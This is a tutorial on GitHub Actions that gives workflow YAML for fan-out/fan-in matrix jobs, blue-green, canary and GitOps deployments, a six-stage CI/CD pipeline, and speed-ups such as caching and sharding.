When you add needs: [matrix-job-name] to your aggregate job, GitHub Actions waits for every instance of the matrix to finish before starting it. You can then inspect the result of the fan-out job via needs.<job_id>.result, which will be success, failure, cancelled, or skipped.

yaml
name: Fan-Out/Fan-In Pipeline

on: [push]

jobs:
  # ---- SETUP: Generate the matrix ----
  setup:
    runs-on: ubuntu-latest
    outputs:
      targets: ${{ steps.discover.outputs.targets }}
    steps:
      - uses: actions/checkout@v4
      - id: discover
        run: |
          TARGETS=$(find packages/ -name 'package.json' -maxdepth 2 \
            | xargs -I{} dirname {} \
            | xargs -I{} basename {} \
            | jq -R -s -c 'split("
") | map(select(length > 0))')
          echo "targets=$TARGETS" >> "$GITHUB_OUTPUT"

  # ---- FAN-OUT: Parallel test jobs ----
  test:
    needs: setup
    runs-on: ubuntu-latest
    strategy:
      matrix:
        package: ${{ fromJSON(needs.setup.outputs.targets) }}
      fail-fast: false
    steps:
      - uses: actions/checkout@v4
      - run: |
          cd packages/${{ matrix.package }}
          npm ci
          npm test

      # Upload per-package results as artifacts
      - uses: actions/upload-artifact@v4
        if: always()
        with:
          name: results-${{ matrix.package }}
          path: packages/${{ matrix.package }}/test-results/

  # ---- FAN-IN: Aggregate results ----
  report:
    needs: [test]
    if: always()
    runs-on: ubuntu-latest
    steps:
      # Download ALL artifacts from the matrix jobs
      - uses: actions/download-artifact@v4
        with:
          pattern: results-*
          merge-multiple: true
          path: all-results/

      - name: Check overall status
        run: |
          echo "Fan-out job result: ${{ needs.test.result }}"

          if [ "${{ needs.test.result }}" = "failure" ]; then
            echo "::error::One or more packages failed testing"
            exit 1
          fi

          echo "All packages passed! Generating combined report..."
          ls -la all-results/

      - name: Post summary
        run: |
          echo "## Test Results" >> "$GITHUB_STEP_SUMMARY"
          echo "| Package | Status |" >> "$GITHUB_STEP_SUMMARY"
          echo "|---------|--------|" >> "$GITHUB_STEP_SUMMARY"
          for dir in all-results/*/; do
            pkg=$(basename "$dir")
            echo "| $pkg | Passed |" >> "$GITHUB_STEP_SUMMARY"
          done

Key Details of the needs Context in Fan-In

The aggregate job's behavior depends on how you configure if and needs. Here is a reference for the patterns you will use most often:

PatternBehaviorUse When
needs: [test] (no if)Runs only if all matrix instances succeedDeploy only after full green build
needs: [test] + if: always()Runs regardless of matrix outcomeYou need to collect results or clean up
needs: [test] + if: failure()Runs only if at least one instance failedSend failure notifications
needs.test.result == 'success'Explicit check on aggregated resultConditional logic inside the fan-in job
Use fail-fast: false for fan-out jobs

The default fail-fast: true cancels all remaining matrix jobs as soon as one fails. In a fan-out/fan-in pipeline, you almost always want fail-fast: false so every branch completes and the aggregate job has the full picture of what passed and what did not.

Passing Data Back from Matrix Jobs

Matrix jobs cannot directly set outputs that the aggregate job reads as a collected array — each matrix instance overwrites the same output key. Instead, use one of these two strategies to move data from fan-out to fan-in:

Strategy 1: Artifacts (best for files)

Each matrix job uploads an artifact with a unique name (e.g., results-${{ matrix.package }}). The aggregate job downloads all of them using actions/download-artifact@v4 with the pattern parameter, as shown in the full example above.

Strategy 2: Status files via artifacts (best for small values)

If you need to pass small scalar values like pass/fail status per matrix leg, write them to individual files and upload as artifacts. The aggregate job merges and parses them:

yaml
  test:
    needs: setup
    runs-on: ubuntu-latest
    strategy:
      matrix:
        package: ${{ fromJSON(needs.setup.outputs.targets) }}
    steps:
      - uses: actions/checkout@v4
      - run: cd packages/${{ matrix.package }} && npm test

      # Write result to a small file, upload as artifact
      - if: always()
        run: |
          mkdir -p /tmp/status
          echo "${{ matrix.package }}=${{ job.status }}" \
            > /tmp/status/${{ matrix.package }}.txt
      - uses: actions/upload-artifact@v4
        if: always()
        with:
          name: status-${{ matrix.package }}
          path: /tmp/status/

  aggregate:
    needs: [test]
    if: always()
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          pattern: status-*
          merge-multiple: true
          path: statuses/

      - name: Parse all results
        run: |
          echo "Per-package results:"
          cat statuses/*.txt
          # Fail if any package reported failure
          if grep -q "=failure" statuses/*.txt; then
            echo "::error::Some packages failed"
            exit 1
          fi

This artifact-based approach is the most reliable way to collect granular results from matrix jobs. Each instance writes its own status file, and the aggregate job merges them all into a single directory for processing.

Advanced Deployment Patterns: Blue-Green, Canary, and GitOps

Production deployments demand more than git push followed by deploy. A bad release pushed to 100% of traffic at once can take down your entire service. Advanced deployment patterns solve this by controlling how and how quickly new code reaches users, giving you the ability to validate in production and roll back before damage spreads.

This section covers three battle-tested strategies — Blue-Green, Canary, and GitOps — each with a complete GitHub Actions workflow you can adapt to your infrastructure.

graph LR
    subgraph Blue-Green
        BG1[Build and Push Image] --> BG2[Deploy to Inactive Env]
        BG2 --> BG3[Run Smoke Tests]
        BG3 -->|Pass| BG4[Switch Traffic]
        BG3 -->|Fail| BG5[Abort & Keep Old Env]
        BG4 --> BG6[Decommission Old Env]
    end

    subgraph Canary
        C1[Build and Push Image] --> C2[Route 5% Traffic]
        C2 --> C3[Monitor Metrics]
        C3 -->|Healthy| C4[Route 25% Traffic]
        C4 --> C5[Monitor Metrics]
        C5 -->|Healthy| C6[Route 100% Traffic]
        C3 -->|Degraded| C7[Rollback to 0%]
        C5 -->|Degraded| C7
    end

    subgraph GitOps
        G1[Build and Push Image] --> G2[Update Manifest in Git]
        G2 --> G3[Create PR or Push]
        G3 --> G4[ArgoCD / Flux Detects Change]
        G4 --> G5[Sync to Cluster]
        G5 --> G6[Health Check]
    end
    

Blue-Green Deployment

Blue-green deployment maintains two identical production environments. At any given time, one environment ("blue") serves live traffic while the other ("green") sits idle. When you deploy, you push the new version to the idle environment, validate it thoroughly, then flip the load balancer to route all traffic to the newly updated environment.

The key advantage is instant rollback. If something breaks after the switch, you flip traffic back to the old environment in seconds — no redeployment needed. The tradeoff is cost: you are running two full environments at all times.

Database migrations require extra care

Blue-green works cleanly for stateless services. If your app relies on database schema changes, both environments must be compatible with the same database. Use backward-compatible migrations (expand-and-contract pattern) so the old environment still works if you roll back.

GitHub Actions Workflow: Blue-Green with AWS

yaml
name: Blue-Green Deploy
on:
  push:
    branches: [main]

env:
  AWS_REGION: us-east-1
  ECR_REPO: my-app
  ECS_CLUSTER: production

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@v4

      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: ${{ secrets.AWS_DEPLOY_ROLE_ARN }}
          aws-region: ${{ env.AWS_REGION }}

      - name: Build and push to ECR
        id: build
        run: |
          IMAGE_TAG="${{ github.sha }}"
          aws ecr get-login-password | docker login \
            --username AWS --password-stdin \
            "${{ secrets.AWS_ACCOUNT_ID }}.dkr.ecr.${{ env.AWS_REGION }}.amazonaws.com"
          docker build -t $ECR_REPO:$IMAGE_TAG .
          docker push \
            "${{ secrets.AWS_ACCOUNT_ID }}.dkr.ecr.${{ env.AWS_REGION }}.amazonaws.com/$ECR_REPO:$IMAGE_TAG"
          echo "image_tag=$IMAGE_TAG" >> "$GITHUB_OUTPUT"

      - name: Determine inactive environment
        id: env
        run: |
          ACTIVE=$(aws elbv2 describe-rules \
            --listener-arn ${{ secrets.ALB_LISTENER_ARN }} \
            --query "Rules[?Priority=='1'].Actions[0].TargetGroupArn" \
            --output text)
          if [[ "$ACTIVE" == *"blue"* ]]; then
            echo "deploy_to=green" >> "$GITHUB_OUTPUT"
            echo "inactive_tg=${{ secrets.GREEN_TG_ARN }}" >> "$GITHUB_OUTPUT"
          else
            echo "deploy_to=blue" >> "$GITHUB_OUTPUT"
            echo "inactive_tg=${{ secrets.BLUE_TG_ARN }}" >> "$GITHUB_OUTPUT"
          fi

      - name: Deploy to inactive environment
        run: |
          aws ecs update-service \
            --cluster $ECS_CLUSTER \
            --service "my-app-${{ steps.env.outputs.deploy_to }}" \
            --force-new-deployment \
            --task-definition "my-app:${{ steps.build.outputs.image_tag }}"
          aws ecs wait services-stable \
            --cluster $ECS_CLUSTER \
            --services "my-app-${{ steps.env.outputs.deploy_to }}"

      - name: Run smoke tests against inactive environment
        run: |
          DEPLOY_ENV="${{ steps.env.outputs.deploy_to }}"
          curl -sf "http://${DEPLOY_ENV}.internal.example.com/healthz"
          curl -sf "http://${DEPLOY_ENV}.internal.example.com/api/v1/status"
          echo "Smoke tests passed on ${DEPLOY_ENV}"

      - name: Switch traffic to new environment
        run: |
          aws elbv2 modify-rule \
            --rule-arn ${{ secrets.ALB_RULE_ARN }} \
            --actions Type=forward,TargetGroupArn=${{ steps.env.outputs.inactive_tg }}
          echo "Traffic switched to ${{ steps.env.outputs.deploy_to }}"

This workflow identifies which environment is currently idle, deploys there, validates with smoke tests, and only then switches the ALB rule to route traffic. If the smoke tests fail, the job stops and live traffic is never touched.

Canary Deployment

Canary deployment takes a more cautious approach: instead of switching 100% of traffic at once, you gradually shift a small percentage to the new version while monitoring key metrics. If error rates spike or latency degrades, you automatically roll back before most users are affected.

This pattern shines when your application serves diverse traffic patterns that are hard to replicate in smoke tests. A canary catches issues that only surface under real production load — memory leaks, slow database queries at scale, or edge cases in request payloads.

GitHub Actions Workflow: Canary with Kubernetes and Istio

yaml
name: Canary Deploy
on:
  push:
    branches: [main]

jobs:
  canary:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@v4

      - name: Build and push image
        id: build
        run: |
          IMAGE="ghcr.io/${{ github.repository }}:${{ github.sha }}"
          docker build -t "$IMAGE" .
          docker push "$IMAGE"
          echo "image=$IMAGE" >> "$GITHUB_OUTPUT"

      - name: Set up kubectl
        uses: azure/setup-kubectl@v3

      - name: Deploy canary at 5% traffic
        run: |
          kubectl set image deployment/my-app-canary \
            app=${{ steps.build.outputs.image }} -n production
          kubectl rollout status deployment/my-app-canary \
            -n production --timeout=300s

          # Istio VirtualService: shift 5% to canary
          kubectl patch virtualservice my-app -n production \
            --type merge -p '{
              "spec":{"http":[{"route":[
                {"destination":{"host":"my-app","subset":"stable"},"weight":95},
                {"destination":{"host":"my-app","subset":"canary"},"weight":5}
              ]}]}}'

      - name: Monitor canary for 5 minutes at 5%
        run: |
          for i in $(seq 1 5); do
            sleep 60
            ERROR_RATE=$(curl -s "http://prometheus:9090/api/v1/query" \
              --data-urlencode \
              'query=rate(http_requests_total{subset="canary",code=~"5.."}[1m]) / rate(http_requests_total{subset="canary"}[1m]) * 100' \
              | jq -r '.data.result[0].value[1] // "0"')
            echo "Minute $i - Error rate: ${ERROR_RATE}%"
            if (( $(echo "$ERROR_RATE > 1.0" | bc -l) )); then
              echo "::error::Error rate ${ERROR_RATE}% exceeds 1% threshold"
              exit 1
            fi
          done

      - name: Promote to 50% traffic
        run: |
          kubectl patch virtualservice my-app -n production \
            --type merge -p '{
              "spec":{"http":[{"route":[
                {"destination":{"host":"my-app","subset":"stable"},"weight":50},
                {"destination":{"host":"my-app","subset":"canary"},"weight":50}
              ]}]}}'

      - name: Monitor canary for 5 minutes at 50%
        run: |
          for i in $(seq 1 5); do
            sleep 60
            ERROR_RATE=$(curl -s "http://prometheus:9090/api/v1/query" \
              --data-urlencode \
              'query=rate(http_requests_total{subset="canary",code=~"5.."}[1m]) / rate(http_requests_total{subset="canary"}[1m]) * 100' \
              | jq -r '.data.result[0].value[1] // "0"')
            echo "Minute $i - Error rate: ${ERROR_RATE}%"
            if (( $(echo "$ERROR_RATE > 1.0" | bc -l) )); then
              echo "::error::Error rate ${ERROR_RATE}% exceeds 1% threshold"
              exit 1
            fi
          done

      - name: Promote to 100% traffic
        run: |
          # Update the stable deployment with the new image
          kubectl set image deployment/my-app \
            app=${{ steps.build.outputs.image }} -n production
          kubectl rollout status deployment/my-app \
            -n production --timeout=300s

          # Route all traffic back to stable
          kubectl patch virtualservice my-app -n production \
            --type merge -p '{
              "spec":{"http":[{"route":[
                {"destination":{"host":"my-app","subset":"stable"},"weight":100},
                {"destination":{"host":"my-app","subset":"canary"},"weight":0}
              ]}]}}'

      - name: Rollback on failure
        if: failure()
        run: |
          echo "::warning::Rolling back canary deployment"
          kubectl patch virtualservice my-app -n production \
            --type merge -p '{
              "spec":{"http":[{"route":[
                {"destination":{"host":"my-app","subset":"stable"},"weight":100},
                {"destination":{"host":"my-app","subset":"canary"},"weight":0}
              ]}]}}'
          kubectl rollout undo deployment/my-app-canary -n production

The workflow follows a 5% → 50% → 100% promotion ladder. At each stage, it queries Prometheus for real error rates. If any monitoring window detects error rates above 1%, the job fails and the rollback step — triggered by if: failure() — immediately shifts all traffic back to the stable version.

Consider Flagger for automated canaries

Tools like Flagger automate the canary promotion loop on the cluster side with Istio, Linkerd, or Nginx. Your workflow simplifies to just build, push, and update the canary deployment — Flagger handles progressive traffic shifting and rollback based on metrics you define in a custom resource.

GitOps with ArgoCD or Flux

GitOps inverts the deployment model. Instead of your CI pipeline directly applying changes to a cluster, it pushes a manifest change to a Git repository. A cluster-side operator (ArgoCD or Flux) watches that repo and reconciles the cluster state to match. The Git repository becomes the single source of truth for what is deployed.

This separation of concerns is powerful: your CI pipeline handles build and test, while the GitOps operator handles deployment. It also gives you a complete audit trail — every deployment is a Git commit — and drift detection comes for free.

GitHub Actions Workflow: GitOps Manifest Update

yaml
name: GitOps - Build and Update Manifests
on:
  push:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    outputs:
      image_tag: ${{ steps.build.outputs.tag }}
    steps:
      - uses: actions/checkout@v4

      - name: Build and push image
        id: build
        run: |
          TAG="${{ github.sha }}"
          IMAGE="ghcr.io/${{ github.repository }}:$TAG"
          docker build -t "$IMAGE" .
          docker push "$IMAGE"
          echo "tag=$TAG" >> "$GITHUB_OUTPUT"

  update-manifests:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - name: Checkout GitOps repo
        uses: actions/checkout@v4
        with:
          repository: my-org/k8s-manifests
          token: ${{ secrets.GITOPS_PAT }}
          ref: main

      - name: Update image tag in Kustomization
        run: |
          cd apps/my-app/overlays/production
          kustomize edit set image \
            "my-app=ghcr.io/${{ github.repository }}:${{ needs.build.outputs.image_tag }}"

      - name: Commit and push manifest change
        run: |
          git config user.name "github-actions[bot]"
          git config user.email "github-actions[bot]@users.noreply.github.com"
          git add -A
          git commit -m "deploy: my-app ${{ needs.build.outputs.image_tag }}

          Source-Commit: ${{ github.sha }}
          Triggered-By: ${{ github.actor }}
          Run: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}"
          git push

The workflow is split into two jobs. The build job produces and pushes the container image, then passes the tag to update-manifests. That second job checks out a separate GitOps repository, updates the image reference using kustomize edit set image, and commits the change. ArgoCD or Flux — already watching that repo — detects the new commit and syncs the cluster automatically.

Never use GITHUB_TOKEN to push to another repo

The default GITHUB_TOKEN is scoped to the current repository. To push to a separate GitOps manifests repo, you need a Personal Access Token (PAT) or a GitHub App installation token stored as a repository secret. Use fine-grained PATs with the minimum contents: write scope on just the target repo.

Choosing the Right Pattern

There is no universally "best" deployment strategy. Each pattern fits a different set of constraints around your infrastructure, team size, and risk tolerance. The table below captures the key tradeoffs.

Factor Blue-Green Canary GitOps
Rollback speed Instant (traffic switch) Fast (shift traffic to 0%) Fast (revert Git commit)
Blast radius 100% after switch Controlled (5% → 50% → 100%) Depends on sync strategy
Infrastructure cost 2× environments Baseline + canary pods GitOps operator overhead only
Complexity Low — straightforward swap High — needs service mesh + metrics Medium — separate repo + operator
Best for Stateless services, strict SLAs High-traffic APIs, ML models Multi-cluster, team autonomy
Prerequisites Load balancer, two target groups Istio/Linkerd, Prometheus ArgoCD/Flux, manifest repo

You can also combine these patterns. A common production setup uses GitOps as the delivery mechanism (manifest commits trigger ArgoCD) while ArgoCD itself performs a canary rollout using Argo Rollouts. This gives you the audit trail and separation of GitOps with the safety net of progressive delivery.

Real-World Pipeline: Build, Test, Release, and Deploy

Most tutorials show GitHub Actions in isolation — a lint job here, a deploy step there. In production, you need all of these wired together into a single coordinated pipeline that gates each stage. This section walks through a complete, battle-tested CI/CD workflow for a web application, from code push to production deployment.

The pipeline has six stages: CI checks (lint, type-check, test, build), security scanning (CodeQL + dependency audit), Docker image build (push to GHCR), staging deployment, E2E tests against staging, and finally production deployment with manual approval.

Pipeline Architecture

Before diving into YAML, here's the full pipeline as a flowchart. Notice that CI and Security run in parallel — there's no reason to wait for one to gate the other. Everything downstream depends on both succeeding.

graph LR
    A["Push to main"] --> B["CI Job"]
    A --> C["Security Scan"]
    B --> D["Build & Push Docker"]
    C --> D
    D --> E["Deploy to Staging"]
    E --> F["E2E Tests"]
    F --> G{"Manual Approval"}
    G -->|Approved| H["Deploy to Production"]
    G -->|Rejected| I["Pipeline Stops"]

    style A fill:#4f46e5,color:#fff,stroke:none
    style B fill:#2563eb,color:#fff,stroke:none
    style C fill:#2563eb,color:#fff,stroke:none
    style D fill:#7c3aed,color:#fff,stroke:none
    style E fill:#059669,color:#fff,stroke:none
    style F fill:#d97706,color:#fff,stroke:none
    style G fill:#dc2626,color:#fff,stroke:none
    style H fill:#059669,color:#fff,stroke:none
    style I fill:#6b7280,color:#fff,stroke:none
    

The Complete Workflow

Below is the full workflow YAML, broken into annotated sections. Each job maps to a node in the flowchart above. You can copy the entire file into .github/workflows/ci-cd.yml in your repository.

Trigger and Permissions

The workflow triggers on pushes to main and on pull requests. We set minimal permissions at the top level and expand them per-job where needed — this follows the principle of least privilege.

yaml
name: CI/CD Pipeline

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

permissions:
  contents: read

concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true
Why concurrency control matters

The concurrency block ensures that if you push two commits in quick succession, the first run is cancelled. Without this, you'd waste runner minutes on a deployment that's already outdated. The group key uses github.ref so PR branches and main have independent concurrency lanes.

Job 1 — CI (Lint, Type-Check, Test, Build)

This is the workhorse job. It checks out code, restores a dependency cache, runs linting and type-checking, executes unit tests with coverage, and builds the application. If any step fails, the entire pipeline stops.

yaml
jobs:
  ci:
    name: CI Checks
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: npm

      - name: Install dependencies
        run: npm ci

      - name: Lint
        run: npm run lint

      - name: Type-check
        run: npx tsc --noEmit

      - name: Run unit tests with coverage
        run: npm test -- --coverage --coverageReporters=text --coverageReporters=lcov

      - name: Upload coverage artifact
        uses: actions/upload-artifact@v4
        with:
          name: coverage-report
          path: coverage/lcov.info
          retention-days: 7

      - name: Build application
        run: npm run build

      - name: Upload build artifact
        uses: actions/upload-artifact@v4
        with:
          name: build-output
          path: dist/
          retention-days: 1

Notice that npm ci is used instead of npm install. The ci command installs from package-lock.json exactly, which is faster and deterministic. The actions/setup-node@v4 action handles caching the ~/.npm directory automatically when you set cache: npm.

Job 2 — Security Scanning

This job runs in parallel with CI. CodeQL performs static analysis for vulnerabilities in your source code, while npm audit checks your dependency tree for known CVEs. Separating security into its own job means a slow CodeQL scan doesn't block your test results.

yaml
  security:
    name: Security Scan
    runs-on: ubuntu-latest
    permissions:
      security-events: write   # Required by CodeQL to upload results
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Initialize CodeQL
        uses: github/codeql-action/init@v3
        with:
          languages: javascript-typescript

      - name: Run CodeQL analysis
        uses: github/codeql-action/analyze@v3

      - name: Dependency audit
        run: npm audit --audit-level=high

Job 3 — Build Docker Image & Push to GHCR

Once CI and security both pass, this job builds a Docker image and pushes it to GitHub Container Registry (GHCR). It uses Docker Buildx for multi-platform builds and layer caching. The image is tagged with the Git SHA for traceability — you always know exactly which commit is running in any environment.

yaml
  build-image:
    name: Build & Push Docker Image
    runs-on: ubuntu-latest
    needs: [ci, security]           # Waits for BOTH jobs
    if: github.event_name == 'push' # Only on merge to main
    permissions:
      packages: write               # Required to push to GHCR
    outputs:
      image-tag: ${{ steps.meta.outputs.tags }}
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Log in to GHCR
        uses: docker/login-action@v3
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Extract metadata
        id: meta
        uses: docker/metadata-action@v5
        with:
          images: ghcr.io/${{ github.repository }}
          tags: |
            type=sha,prefix=
            type=raw,value=latest

      - name: Build and push image
        uses: docker/build-push-action@v5
        with:
          context: .
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          cache-from: type=gha
          cache-to: type=gha,mode=max

The cache-from and cache-to lines use GitHub Actions' built-in cache backend for Docker layers. On subsequent builds, only changed layers are rebuilt — cutting build times from minutes to seconds for typical code changes.

Job 4 — Deploy to Staging

Staging deployment happens automatically after the Docker image is pushed. This example deploys to a Kubernetes cluster, but the pattern works the same for AWS ECS, Azure Container Apps, or any other target — swap out the deployment command.

yaml
  deploy-staging:
    name: Deploy to Staging
    runs-on: ubuntu-latest
    needs: build-image
    environment:
      name: staging
      url: https://staging.example.com
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Set up kubectl
        uses: azure/setup-kubectl@v3

      - name: Configure kubeconfig
        run: |
          mkdir -p $HOME/.kube
          echo "${{ secrets.KUBE_CONFIG_STAGING }}" | base64 -d > $HOME/.kube/config

      - name: Deploy to staging
        run: |
          kubectl set image deployment/web-app \
            web-app=ghcr.io/${{ github.repository }}:${{ github.sha }} \
            -n staging
          kubectl rollout status deployment/web-app -n staging --timeout=300s

Job 5 — E2E Tests Against Staging

With the new version running in staging, end-to-end tests verify the application actually works as a user would experience it. Playwright runs a test suite against the live staging URL. If tests fail, the pipeline stops and production is never touched.

yaml
  e2e-tests:
    name: E2E Tests
    runs-on: ubuntu-latest
    needs: deploy-staging
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Setup Node.js
        uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: npm

      - name: Install dependencies
        run: npm ci

      - name: Install Playwright browsers
        run: npx playwright install --with-deps chromium

      - name: Run E2E tests
        run: npx playwright test --project=chromium
        env:
          BASE_URL: https://staging.example.com

      - name: Upload test report
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: playwright-report
          path: playwright-report/
          retention-days: 14

The if: always() on the artifact upload step is critical — it ensures you get the test report even when tests fail. Without it, a test failure skips the upload and you're left debugging blind.

Job 6 — Deploy to Production (Manual Approval)

Production deployment requires a human to click "Approve" in the GitHub Actions UI. This is configured through the environment key, which references a GitHub Environment with protection rules. You set up the required reviewers in your repository's Settings > Environments > production.

yaml
  deploy-production:
    name: Deploy to Production
    runs-on: ubuntu-latest
    needs: e2e-tests
    environment:
      name: production             # Triggers manual approval gate
      url: https://www.example.com
    steps:
      - name: Checkout code
        uses: actions/checkout@v4

      - name: Set up kubectl
        uses: azure/setup-kubectl@v3

      - name: Configure kubeconfig
        run: |
          mkdir -p $HOME/.kube
          echo "${{ secrets.KUBE_CONFIG_PRODUCTION }}" | base64 -d > $HOME/.kube/config

      - name: Deploy to production
        run: |
          kubectl set image deployment/web-app \
            web-app=ghcr.io/${{ github.repository }}:${{ github.sha }} \
            -n production
          kubectl rollout status deployment/web-app -n production --timeout=300s

      - name: Verify deployment health
        run: |
          for i in $(seq 1 10); do
            STATUS=$(curl -s -o /dev/null -w "%{http_code}" https://www.example.com/health)
            if [ "$STATUS" = "200" ]; then
              echo "Health check passed"
              exit 0
            fi
            echo "Attempt $i: got $STATUS, retrying..."
            sleep 5
          done
          echo "Health check failed after 10 attempts"
          exit 1
Don't skip environment protection rules

The environment: production line only triggers the approval gate if you've configured protection rules in your repository settings. Without protection rules, the job runs immediately with no approval — the YAML alone does not enforce gating.

Key Design Decisions

Several choices in this pipeline are deliberate and worth understanding:

DecisionWhyAlternative
CI and Security run in parallelNeither depends on the other; parallel execution saves 3-5 minutesRun sequentially if you want to fail-fast on the cheaper job
Docker build uses type=gha cacheGitHub-native layer cache, no external registry neededtype=registry for sharing cache across forks
Image tagged with Git SHAImmutable, traceable — you always know what's deployedSemantic versioning if you publish public images
E2E tests run against live stagingCatches infra issues, env var misconfigs, network problemsRun against Docker Compose locally for faster feedback
Production uses manual approvalHuman checkpoint after automated validationFully automated if your E2E suite has high confidence

Adapting This Pipeline

This workflow assumes a Node.js web app deployed to Kubernetes, but the structure is universal. Here's what you'd swap out for different stacks:

  • Python app: Replace npm ci with pip install, npm test with pytest, and npm run build with your build step (or remove it for interpreted languages).
  • AWS ECS: Replace the kubectl steps with aws ecs update-service and use aws-actions/configure-aws-credentials@v4 for authentication.
  • Serverless (Vercel, Netlify): Remove the Docker and kubectl jobs entirely. Use the platform's deploy action directly after CI passes.
  • Monorepo: Add path filters to the trigger (paths: ['apps/web/**']) and use a matrix strategy to run CI per-package.
Start simple, add stages incrementally

You don't need all six stages on day one. Start with just the CI job. Add Docker and staging once you have a deployment target. Add E2E tests once your app is stable enough to test against. Add production gating last. Each stage earns its place by catching a real class of bugs.

Performance Optimization: Faster Workflows

A workflow that takes 15 minutes today will take 25 minutes in six months as your codebase grows — unless you actively optimize. GitHub Actions bills by the minute, and slow feedback loops frustrate developers into ignoring CI results entirely. The techniques below target the biggest time sinks: dependency installation, sequential job execution, unnecessary Git history, and redundant work.

Aggressive Dependency Caching

Every workflow run that installs dependencies from scratch wastes minutes downloading and compiling packages. The actions/cache action stores directories between runs, keyed by a hash of your lockfile. When the lockfile hasn't changed, the cache restores in seconds instead of minutes.

yaml
- name: Cache node_modules
  uses: actions/cache@v4
  id: npm-cache
  with:
    path: ~/.npm
    key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
    restore-keys: |
      ${{ runner.os }}-npm-

- name: Install dependencies
  if: steps.npm-cache.outputs.cache-hit != 'true'
  run: npm ci

The restore-keys fallback is critical. If no exact match is found, it restores the most recent cache that shares the prefix, giving you a partial hit rather than a complete miss. The if conditional on the install step skips npm ci entirely when the cache is fresh.

Monitoring Cache Hit Rates

A cache you set up and forget can silently degrade. Add a step that logs your cache status so you can track hit rates in your workflow logs or export them to a dashboard:

yaml
- name: Report cache status
  run: |
    if [ "${{ steps.npm-cache.outputs.cache-hit }}" == "true" ]; then
      echo "::notice::Cache HIT — skipped install"
    else
      echo "::warning::Cache MISS — full install required"
    fi
Cache Scope Rules

Caches are scoped to a branch. A feature branch can read caches from its base branch (e.g., main), but main cannot read caches created by feature branches. Design your cache keys around the default branch for maximum reuse. GitHub also enforces a 10 GB total cache limit per repository — least-recently-used entries are evicted first.

Parallelizing Jobs with Matrix Strategies

Running a full test suite in a single job is the most common bottleneck. Matrix strategies let you split work across multiple runners that execute simultaneously. The key insight is that parallelism is free in terms of wall-clock time — four 5-minute jobs finish faster than one 20-minute job.

yaml
jobs:
  test:
    runs-on: ubuntu-latest
    strategy:
      fail-fast: false
      matrix:
        shard: [1, 2, 3, 4]
    steps:
      - uses: actions/checkout@v4
      - name: Run test shard
        run: |
          npx jest --shard=${{ matrix.shard }}/4

Setting fail-fast: false ensures all shards complete even if one fails — you get the full picture of what's broken rather than a partial result. Jest, Pytest, and most modern test runners support native sharding. For runners that don't, you can split test files manually using a glob pattern and split.

Beyond Test Splitting

Matrices aren't just for tests. You can parallelize linting, building for multiple platforms, or running different analysis tools simultaneously:

yaml
strategy:
  matrix:
    include:
      - task: lint
        command: npm run lint
      - task: typecheck
        command: npx tsc --noEmit
      - task: unit-tests
        command: npm test
      - task: build
        command: npm run build

Larger Runners for Compute-Heavy Tasks

Standard GitHub-hosted runners provide 4 vCPUs and 16 GB RAM. For Docker image builds, large compilation jobs, or memory-hungry integration tests, this is a bottleneck. GitHub offers larger runners with up to 64 vCPUs and 256 GB RAM on Team and Enterprise plans.

Runner SizevCPUsRAMBest For
ubuntu-latest416 GBStandard CI tasks, unit tests
ubuntu-latest-4-cores416 GBParallel builds, medium test suites
ubuntu-latest-8-cores832 GBDocker builds, large compilations
ubuntu-latest-16-cores1664 GBMonorepo builds, heavy integration tests

The trade-off is cost: larger runners charge a higher per-minute rate. The strategy that pays off is using larger runners only for the jobs that benefit from them, while keeping lighter jobs on standard runners. A Docker build that takes 12 minutes on 2 vCPUs might finish in 4 minutes on 8 vCPUs — the per-minute cost is higher, but the total bill is lower.

Minimizing Checkout Depth

By default, actions/checkout performs a shallow clone with fetch-depth: 1, pulling only the latest commit. This is already the fastest option for most workflows. However, some tools need more history, and that's where developers accidentally regress performance.

yaml
# Fast — only gets the tip commit (~2-5s)
- uses: actions/checkout@v4
  # fetch-depth: 1 is the default

Use this for builds, tests, deployments — anything that doesn't inspect Git history.

yaml
# Slow — downloads entire history (30s+ for large repos)
- uses: actions/checkout@v4
  with:
    fetch-depth: 0

Only needed for changelog generation, semantic versioning from tags, or tools like git-cliff that walk commit history.

A middle ground exists: set fetch-depth: 50 or fetch-depth: 100 to get enough history for diff-based operations without cloning the entire repository. For monorepos with years of history, this can shave 30+ seconds off each run.

Conditional Job Skipping

Not every push needs every job. Docs-only changes don't need test runs. README edits don't need Docker builds. Use path filters and conditional expressions to skip irrelevant work entirely.

yaml
on:
  push:
    paths:
      - 'src/**'
      - 'tests/**'
      - 'package.json'
    paths-ignore:
      - '**.md'
      - 'docs/**'

jobs:
  test:
    runs-on: ubuntu-latest
    # Skip if commit message contains [skip ci]
    if: >-
      !contains(github.event.head_commit.message, '[skip ci]')
    steps:
      - uses: actions/checkout@v4
      - run: npm test

Path filters work at the workflow trigger level — the entire workflow is skipped if no files match. The if conditional on the job level offers finer control: you can skip specific jobs while letting others proceed. Combine both for maximum savings.

Tip

For monorepos, use dorny/paths-filter to detect which packages changed and dynamically set job matrices. This avoids rebuilding 20 packages when only one was modified.

Composite Actions to Reduce Overhead

